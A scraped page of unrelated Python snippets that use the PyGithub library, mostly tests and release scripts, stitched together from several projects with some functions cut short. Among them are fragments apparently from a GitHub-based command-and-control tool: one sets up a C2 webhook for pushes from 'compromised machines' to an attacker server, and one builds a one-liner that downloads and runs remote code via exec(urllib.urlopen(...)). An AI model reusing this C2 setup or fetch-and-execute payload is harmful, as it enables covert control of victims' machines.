def test_issue_12(self):
e = github.GithubException(422, {
u'documentation_url':
u'https://developer.github.com/v3/pulls/#create-a-pull-request',
u'message':
u'Validation Failed',
u'errors': [{
u'message': u'No commits between issues-221 and issues-221',
u'code': u'custom',
u'resource': u'PullRequest'}
]}
)
self.assertEqual(
"Unable to create pull request: Validation Failed (422)\n"
"No commits between issues-221 and issues-221\n"
"Check "
"https://developer.github.com/v3/pulls/#create-a-pull-request "
"for more information.",
gpr._format_github_exception("create pull request", e))
python类com()的实例源码
def create_private_gist(config, main_github_token, filename, content, description):
g = Github(main_github_token)
g_user = g.get_user()
gist = g_user.create_gist(False, {filename: github.InputFileContent(content)}, description)
# gists have a list of files associated with them, we just want the first one
# gist.files = {'filename': GistFile(filename), ...}
gist_file = [x for x in gist.files.values()][0]
config["gist_raw_contents_url"] = gist_file.raw_url
# The structure of the url is:
# https://gist.githubusercontent.com/<username>/<gist guid>/raw/<file guid>/<filename.txt>
#
# Since we're only uploading one file and we want to make the URL as concise as possible,
# it turns out we can actually trim off everything after /raw/ and it'll still give us what
# we want.
config["gist_raw_contents_url"] = config["gist_raw_contents_url"].split("/raw/")[0] + "/raw"
print("[*] Private gist content at:")
print("- %s" % config["gist_raw_contents_url"])
return config
# Return the content that will placed in the private gist
def create_c2_webhook(config):
print("[*] Creating GitHub webhook for C2 repo that will receive pushes from compromised machines ")
g = Github(config["main_github_token"])
g_user = g.get_user()
repo = g_user.get_repo(config["github_c2_repo_name"])
# this endpoint is defined in server/gitpwnd/controllers.py
webhook_endpoint = config["attacker_server"] + "/api/repo/receive_branch"
# We're using a self-signed cert, so we need to turn off TLS verification for now :(
# See the following for details: https://developer.github.com/v3/repos/hooks/#create-a-hook
hook_secret = str(uuid.uuid4())
params = {"url": webhook_endpoint, "content_type": "json", "secret": hook_secret, "insecure_ssl": "1"}
# PyGithub's create_hook doc:
# http://pygithub.readthedocs.io/en/latest/github_objects/Repository.html?highlight=create_hook
try:
repo.create_hook("web", params, ["push"], True)
except:
print("[!] Web hook already exists")
hook = repo.get_hooks()[0]
if "secret" not in hook.config.keys():
print("[!] Adding a secret to the hook...")
else:
hook_secret = input("Enter webhook secret (Github Repo > Settings > Webhooks > Edit > Inspect 'Secret' element): ")
new_hook_config = hook.config
new_hook_config["secret"] = hook_secret
hook.edit(name=hook.name, config=new_hook_config)
finally:
return hook_secret
# Automatically generate a new password for the gitpwnd server
# so we don't use a default one
def run_sanity_checks(repo, branch):
if repo.git_repo.is_dirty():
print 'Cowardly refusing to release a dirty repo'
sys.exit(1)
if repo.git_repo.active_branch.name != branch:
print 'Cowardly refusing to release when not on the {} branch'.format(branch)
sys.exit(1)
if repo.is_behind(branch):
print 'Cowardly refusing to release when behind origin'
sys.exit(1)
if not is_custom_bumpversion_version():
print (
'Install LBRY\'s fork of bumpversion: '
'pip install -U git+https://github.com/lbryio/bumpversion.git'
)
sys.exit(1)
def testAttributes(self):
self.assertEqual(self.statuses[0].created_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
self.assertEqual(self.statuses[0].updated_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
self.assertEqual(self.statuses[0].creator.login, "jacquev6")
self.assertEqual(self.statuses[0].description, "Status successfuly created by PyGithub")
self.assertEqual(self.statuses[1].description, None)
self.assertEqual(self.statuses[0].id, 277040)
self.assertEqual(self.statuses[0].state, "success")
self.assertEqual(self.statuses[1].state, "pending")
self.assertEqual(self.statuses[0].context, "build")
self.assertEqual(self.statuses[0].target_url, "https://github.com/jacquev6/PyGithub/issues/67")
self.assertEqual(self.statuses[1].target_url, None)
# test __repr__() based on this attributes
self.assertEqual(self.statuses[0].__repr__(),
'CommitStatus(state="success", id=277040, context="build")')
def testRaiseErrorWithBranchProtectionWithInvalidEnforcementLevel(self):
raised = False
try:
self.repo.protect_branch("master", True, "", ["test"])
except github.GithubException as exception:
raised = True
self.assertEqual(exception.status, 422)
self.assertEqual(
exception.data, {
'documentation_url':
'https://developer.github.com/v3/repos/#enabling-and-disabling-branch-protection',
'message': 'Validation Failed',
'errors': [
{
'field': 'required_status_checks_enforcement_level',
'message': "required_status_checks_enforcement_level enforcement level '%s' is not valid",
'code': 'custom',
'resource': 'ProtectedBranch'
}
]
}
)
self.assertTrue(raised)
def testAttributes(self):
self.assertEqual(self.statuses[0].created_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
self.assertEqual(self.statuses[0].updated_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
self.assertEqual(self.statuses[0].creator.login, "jacquev6")
self.assertEqual(self.statuses[0].description, "Status successfuly created by PyGithub")
self.assertEqual(self.statuses[1].description, None)
self.assertEqual(self.statuses[0].id, 277040)
self.assertEqual(self.statuses[0].state, "success")
self.assertEqual(self.statuses[1].state, "pending")
self.assertEqual(self.statuses[0].context, "build")
self.assertEqual(self.statuses[0].target_url, "https://github.com/jacquev6/PyGithub/issues/67")
self.assertEqual(self.statuses[1].target_url, None)
# test __repr__() based on this attributes
self.assertEqual(self.statuses[0].__repr__(),
'CommitStatus(state="success", id=277040, context="build")')
def testRaiseErrorWithBranchProtectionWithInvalidEnforcementLevel(self):
raised = False
try:
self.repo.protect_branch("master", True, "", ["test"])
except github.GithubException, exception:
raised = True
self.assertEqual(exception.status, 422)
self.assertEqual(
exception.data, {
u'documentation_url':
u'https://developer.github.com/v3/repos/#enabling-and-disabling-branch-protection',
u'message': u'Validation Failed',
u'errors': [
{
u'field': u'required_status_checks_enforcement_level',
u'message': u"required_status_checks_enforcement_level enforcement level '%s' is not valid",
u'code': u'custom',
u'resource': u'ProtectedBranch'
}
]
}
)
self.assertTrue(raised)
def testAttributes(self):
self.assertEqual(self.statuses[0].created_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
self.assertEqual(self.statuses[0].updated_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
self.assertEqual(self.statuses[0].creator.login, "jacquev6")
self.assertEqual(self.statuses[0].description, "Status successfuly created by PyGithub")
self.assertEqual(self.statuses[1].description, None)
self.assertEqual(self.statuses[0].id, 277040)
self.assertEqual(self.statuses[0].state, "success")
self.assertEqual(self.statuses[1].state, "pending")
self.assertEqual(self.statuses[0].context, "build")
self.assertEqual(self.statuses[0].target_url, "https://github.com/jacquev6/PyGithub/issues/67")
self.assertEqual(self.statuses[1].target_url, None)
# test __repr__() based on this attributes
self.assertEqual(self.statuses[0].__repr__(),
'CommitStatus(state="success", id=277040, context="build")')
def testRaiseErrorWithBranchProtectionWithInvalidEnforcementLevel(self):
raised = False
try:
self.repo.protect_branch("master", True, "", ["test"])
except github.GithubException, exception:
raised = True
self.assertEqual(exception.status, 422)
self.assertEqual(
exception.data, {
u'documentation_url':
u'https://developer.github.com/v3/repos/#enabling-and-disabling-branch-protection',
u'message': u'Validation Failed',
u'errors': [
{
u'field': u'required_status_checks_enforcement_level',
u'message': u"required_status_checks_enforcement_level enforcement level '%s' is not valid",
u'code': u'custom',
u'resource': u'ProtectedBranch'
}
]
}
)
self.assertTrue(raised)
def _rate_limit_handle(self):
try:
github_secret = github.GithubSecret()
if github_secret.secret_available:
r = requests.get('https://api.github.com/rate_limit', auth=(github_secret.user, github_secret.secret))
else:
r = requests.get('https://api.github.com/rate_limit')
if r.status_code != 200:
self.rateLimit.emit(-1)
data = r.json()
self.rateLimit.emit(int(data['rate']['remaining']))
except Exception:
self.rateLimit.emit(-1)
##
# \brief Returns 5 random repositories.
#
# This uses one GitHub API request.
#
# \return String containing random repositories.
def __init__(self, tracker):
super(JIRA, self).__init__(tracker)
if hasattr(settings, 'JIRA_OPTIONS'):
options = settings.JIRA_OPTIONS
else:
options = None
# b/c jira.JIRA tries to connect when object is created
# see https://github.com/kiwitcms/Kiwi/issues/100
if not self.is_adding_testcase_to_issue_disabled():
self.rpc = jira.JIRA(
tracker.api_url,
basic_auth=(self.tracker.api_username, self.tracker.api_password),
options=options,
)
def monkeypatch_github():
p = github.PullRequest.PullRequest
p.pretty = pretty
p.fullify = gh_pr_fullifier.fullify
p.jsonify = gh_pr_fullifier.jsonify
p.pastamaker_merge = pastamaker_merge
p.pastamaker_github_post_check_status = pastamaker_github_post_check_status
p.pastamaker_travis_post_build_results = \
pastamaker_travis_post_build_results
# Missing Github API
p.pastamaker_update_branch = webhack.web_github_update_branch
# FIXME(sileht): remove me, used by engine for sorting pulls
p.pastamaker_weight = property(lambda p: p.pastamaker["weight"])
# FIXME(sileht): Workaround https://github.com/PyGithub/PyGithub/issues/660
github.PullRequestReview.PullRequestReview._completeIfNeeded = (
lambda self: None)
def test_make_gh_token_otp(mocker):
def require_otp(uri, headers={}, auth=(), json={}):
assert ('user', 'password') == auth
if 'X-GitHub-OTP' not in headers:
return MockResponce(json={'message': 'Must specify two-factor authentication OTP code.'}, status_code=401)
else:
assert headers['X-GitHub-OTP'] == 'token'
return MockResponce(json={'token': 'token'}, status_code=201)
mocker.patch('zazu.util.prompt', side_effect=['user', 'token'], autospec=True)
mocker.patch('click.prompt', return_value='password', autospec=True)
mocker.patch('keyring.set_password')
with mock_post(mocker, 'https://api.github.com/authorizations', mocker.Mock(wraps=require_otp)) as post_auth:
assert 'token' == zazu.github_helper.make_gh_token()
post_auth.call_count == 2
def _move_to_repo(self, issue, dest):
"""
Moves issue to a certain destination repo
@param issue Issue: issue object.
@param dest Repository: destination repository object.
"""
self.logger.info("%s: move to repo:%s" % (issue, dest))
ref = self._issue_url(issue)
body = "Issue moved from %s\n\n" % ref
for line in issue.api.body.splitlines():
if line.startswith("!!") or line.startswith(
'### Tasks:') or line.startswith('### Part of Story'):
continue
body += "%s\n" % line
assignee = issue.api.assignee if issue.api.assignee else NotSet
labels = issue.api.labels if issue.api.labels else NotSet
moved_issue = dest.api.create_issue(title=issue.title, body=body,
assignee=assignee, labels=labels)
moved_issue.create_comment(self._create_comments_backlog(issue))
moved_ref = 'https://github.com/%s/issues/%s' % (dest.fullname, moved_issue.number)
issue.api.create_comment("Moved to %s" % moved_ref)
issue.api.edit(state='close') # we shouldn't process todos from closed issues.
def process(input):
gh_username = setup.get_gh_username()
gh_password = setup.decrypt_password()
gh = github.Github(gh_username, gh_password)
click.echo(chalk.blue('you are in git module'))
click.echo('input = %s' % input)
USER_CONFIG_FILE_PATH = get_config_file_paths()['USER_CONFIG_FILE_PATH']
USER_CONFIG_FOLDER_PATH = get_folder_path_from_file_path(USER_CONFIG_FILE_PATH)
repo = porcelain.init(USER_CONFIG_FOLDER_PATH)
porcelain.add(repo)
porcelain.commit(repo, "A sample commit")
porcelain.remote_add(repo, ".yoda", "https://github.com/manparvesh/.yoda")
porcelain.push(repo, "https://github.com/manparvesh/.yoda")
def test_git_remote_matching_url(self):
self.assertEqual(
"origin",
gpr.git_remote_matching_url(
"https://github.com/jd/git-pull-request.git"))
def get_python_one_liner(gist_url):
# Note that `exec` is required for multiline statements, eval seems to only do simple expressions
# https://stackoverflow.com/questions/30671563/eval-not-working-on-multi-line-string
return "import urllib; exec(urllib.urlopen('%s').read())" % gist_url
def get_gh_token():
if 'GH_TOKEN' in os.environ:
return os.environ['GH_TOKEN']
else:
print """
Please enter your personal access token. If you don't have one
See https://github.com/lbryio/lbry-app/wiki/Release-Script#generate-a-personal-access-token
for instructions on how to generate one.
You can also set the GH_TOKEN environment variable to avoid seeing this message
in the future"""
return raw_input('token: ').strip()
def testGetFileContents(self):
contents = self.repo.get_file_contents("/js/bootstrap-affix.js")
self.assertEqual(contents.encoding, "base64")
self.assertEqual(contents.url, "https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js")
self.assertEqual(len(contents.content), 4722)
def testWatching(self):
gitflow = self.g.get_user("nvie").get_repo("gitflow")
self.assertListKeyEqual(self.user.get_watched(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "PyGithub", "django", "django", "TestPyGithub"])
self.assertTrue(self.user.has_in_watched(gitflow))
self.user.remove_from_watched(gitflow)
self.assertFalse(self.user.has_in_watched(gitflow))
self.user.add_to_watched(gitflow)
self.assertTrue(self.user.has_in_watched(gitflow))
def testStarring(self):
gitflow = self.g.get_user("nvie").get_repo("gitflow")
self.assertListKeyEqual(self.user.get_starred(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "amaunet", "django", "django", "moviePlanning", "folly"])
self.assertTrue(self.user.has_in_starred(gitflow))
self.user.remove_from_starred(gitflow)
self.assertFalse(self.user.has_in_starred(gitflow))
self.user.add_to_starred(gitflow)
self.assertTrue(self.user.has_in_starred(gitflow))
def testCreateRepository(self):
repo = self.user.create_repo("TestPyGithub")
self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub")
def testCreateRepositoryWithAllArguments(self):
repo = self.user.create_repo("TestPyGithub", "Repo created by PyGithub", "http://foobar.com", private=False, has_issues=False, has_wiki=False, has_downloads=False)
self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub")
def testCreateRepositoryWithAutoInit(self):
repo = self.user.create_repo("TestPyGithub", auto_init=True, gitignore_template="Python")
self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub")
def testGetRepos(self):
self.assertListKeyEqual(self.user.get_repos(), lambda r: r.name, ["TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "Hacking", "vincent-jacques.net", "Contests", "Candidates", "Tests", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE"])
def testGetReposWithArguments(self):
self.assertListKeyEqual(self.user.get_repos("public", "full_name", "desc"), lambda r: r.name, ["ViDE", "QuadProgMm", "PyGithub", "DrawTurksHead", "DrawSyntax", "django", "developer.github.com", "C4Planner", "Boost.HierarchicalEnum", "acme-public-website"])
def testGetReposWithType(self):
self.assertListKeyEqual(self.user.get_repos("owner"), lambda r: r.name, ["django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE"])
def testGetWatched(self):
self.assertListKeyEqual(self.user.get_watched(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "PyGithub", "django", "django", "TestPyGithub"])
def testGetStarred(self):
self.assertListKeyEqual(self.user.get_starred(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "amaunet", "django", "django", "moviePlanning", "folly"])